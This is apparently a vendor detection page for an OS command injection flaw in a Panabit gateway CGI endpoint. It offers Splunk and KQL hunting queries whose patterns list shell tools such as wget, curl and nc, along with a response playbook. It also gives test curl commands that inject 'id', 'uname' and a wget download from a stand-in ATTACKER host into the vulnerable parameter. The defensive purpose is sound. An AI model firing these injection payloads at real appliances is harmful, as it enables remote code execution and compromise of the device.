Detect Panabit Smart Application Gateway edit_data_pie OS Command Injection (CVE-2026-135791) in Splunk
Detects exploitation attempts against CVE-2026-135791, an OS command injection flaw (CWE-77, CWE-78, CVSS 8.6) in the edit_data_pie function of /cgi-bin/flowcontrol/ajax_data_pie in Panabit Smart Application Gateway TANGr7p10. An attacker who can reach the flow-control CGI endpoint can inject shell metacharacters into the name argument processed by edit_data_pie, achieving remote code execution on the appliance. The detection surfaces anomalous requests to the vulnerable CGI path carrying command-injection payloads, and CGI-process child shell spawns indicative of successful RCE. A public proof-of-concept exploit has been published. Tune for your appliance's normal management traffic.
Based on nenghun IoT Panabit RCE2 write-up
MITRE ATT&CK
- Tactic
- Initial Access Execution
SPL Detection Query
``` df00tech DF00-5ed94458f8 · https://df00tech.com/detections/CVE-2026-135791 · licence: https://df00tech.com/detections/licence ```
index=web OR index=proxy (uri_path="*/cgi-bin/flowcontrol/aja*" OR uri_query="*edit_data_pie*")
| eval decoded=urldecode(uri_query)
| where match(decoded, "[;|&`]|\$\(|\$\{|\$IFS") OR match(uri_query, "%3B|%7C|%26|%60|%24")
| where match(decoded, "(?i)(edit_data_pie|wget|curl|/bin/sh|bash|\bnc\b|cat\s+/etc|chmod|id;)")
| stats count min(_time) as first max(_time) as last values(decoded) as payloads values(status) as statuses by src_ip dest_ip http_user_agent
| convert ctime(first) ctime(last)
| sort - count Searches web/proxy sourcetypes for requests to the Panabit flowcontrol CGI endpoint bearing shell metacharacters and command keywords in the (decoded) query string.
Data Sources
Required Sourcetypes
False Positives & Tuning
- Admin UI edits to flow-control data containing reserved characters
- Automated appliance health checks hitting CGI paths
- Pentest/scanner traffic during authorized assessments
Other platforms for CVE-2026-135791
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Command injection probe against flowcontrol CGI (semicolon)
Expected signal: Web/proxy log entry to /cgi-bin/flowcontrol/ajax_data_pie containing 'edit_data_pie' and a ';id' payload.
- Test 2 Command injection via backtick substitution
Expected signal: Request log containing URL-encoded backtick (%60) and 'uname' in the flowcontrol CGI query.
- Test 3 Simulated RCE download stage
Expected signal: Web log with a pipe metacharacter and 'wget' payload; on a lab appliance, a wget process spawned by the web/CGI parent.
Response Playbook
Triage
- Confirm the destination host is a Panabit Smart Application Gateway running the affected TANGr7p10 firmware and that /cgi-bin/flowcontrol/ajax_data_pie is reachable from the source network.
- URL-decode the captured query string and isolate the injected segment following edit_data_pie parameters; identify the exact shell metacharacter and command the attacker attempted to run.
- Determine whether the request returned a 200/success status or evidence of command output, distinguishing a probe from a successful execution.
- Check the source IP's broader activity for reconnaissance or repeated CGI requests indicating automated exploitation.
Containment
- Block the source IP(s) at the perimeter and restrict management-plane/CGI access to trusted admin networks only.
- If successful RCE is confirmed, isolate the appliance from untrusted networks and fail over to a redundant gateway where available.
- Apply vendor firmware updates or mitigations for CVE-2026-135791 once published; until then place the flowcontrol CGI behind authenticated reverse-proxy access controls.
Evidence Collection
- Preserve full web/proxy access logs, the raw decoded request payloads, and any WAF logs covering the source IP and the flowcontrol endpoint.
- Capture appliance process, shell history, and CGI/web server logs to identify spawned commands, dropped files, and outbound connections.
Escalation Criteria
- !Escalate to incident response if a request to edit_data_pie with injection characters returned success or if a shell/download utility was spawned by the web/CGI process.
- !Escalate if post-exploitation indicators appear (new accounts, persistence, outbound C2, lateral movement from the appliance).
Investigation Guide
Forensic Artifacts
- >
Web/CGI server access and error logs on the appliance showing edit_data_pie requests with metacharacters - >
Shell command history and spawned-process records under the web server UID - >
Newly created or modified files in web-writable and temp directories, and unexpected outbound connections from the gateway
Tuning Guidance
Baseline legitimate administrative traffic to /cgi-bin/flowcontrol/ajax_data_pie from management subnets and exclude those source IPs. Flow-policy names may legitimately contain '&' or spaces, so require co-occurrence of a metacharacter AND a command keyword (wget/curl/sh/chmod) to reduce noise. Promote to high confidence when a matching request is immediately followed by a shell/download process spawned under the web server parent.
Hunting Queries
Hunt for any requests to the flowcontrol CGI endpoint carrying shell metacharacters, grouped by source, to surface slow or distributed probing.
// df00tech DF00-5ed94458f8 · https://df00tech.com/detections/CVE-2026-135791 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has "/cgi-bin/flowcontrol/aja" | extend q=url_decode(csUriQuery) | where q has_any (";","|","`","$(") | summarize count() by cIP, bin(TimeGenerated,1h) ``` df00tech DF00-5ed94458f8 · https://df00tech.com/detections/CVE-2026-135791 · licence: https://df00tech.com/detections/licence ```
index=web uri_path="*/cgi-bin/flowcontrol/aja*" | eval q=urldecode(uri_query) | where match(q,"[;|`]|\$\(") | stats count by src_ip, uri_query Atomic Red Team Tests
Sends a request to the vulnerable endpoint with a semicolon-chained id command in an edit_data_pie parameter.
Command
curl -s -G "http://TARGET/cgi-bin/flowcontrol/ajax_data_pie" --data-urlencode "action=edit_data_pie" --data-urlencode "name=test;id" Cleanup
echo 'no cleanup required - read-only probe' Expected Telemetry
Web/proxy log entry to /cgi-bin/flowcontrol/ajax_data_pie containing 'edit_data_pie' and a ';id' payload.
Expected Detection
KQL/SPL web-log rules fire on the decoded query containing a metacharacter and the 'id' command keyword.
Attempts command substitution using backticks in an injected parameter.
Command
curl -s -G "http://TARGET/cgi-bin/flowcontrol/ajax_data_pie" --data-urlencode "action=edit_data_pie" --data-urlencode "val=`uname -a`" Cleanup
echo 'no cleanup required - read-only probe' Expected Telemetry
Request log containing URL-encoded backtick (%60) and 'uname' in the flowcontrol CGI query.
Expected Detection
Detection matches on %60/backtick metacharacter combined with a command keyword.
Simulates a post-injection download stage by injecting a wget command; also exercises the process-spawn detection on a lab appliance.
Command
curl -s -G "http://TARGET/cgi-bin/flowcontrol/ajax_data_pie" --data-urlencode "action=edit_data_pie" --data-urlencode "p=x|wget http://ATTACKER/s.sh -O /tmp/s.sh" Cleanup
rm -f /tmp/s.sh 2>/dev/null; echo done Expected Telemetry
Web log with a pipe metacharacter and 'wget' payload; on a lab appliance, a wget process spawned by the web/CGI parent.
Expected Detection
Web-log rules match the '|wget' payload; EDR/CQL/EQL rules match wget spawned under httpd/nginx/cgi parent.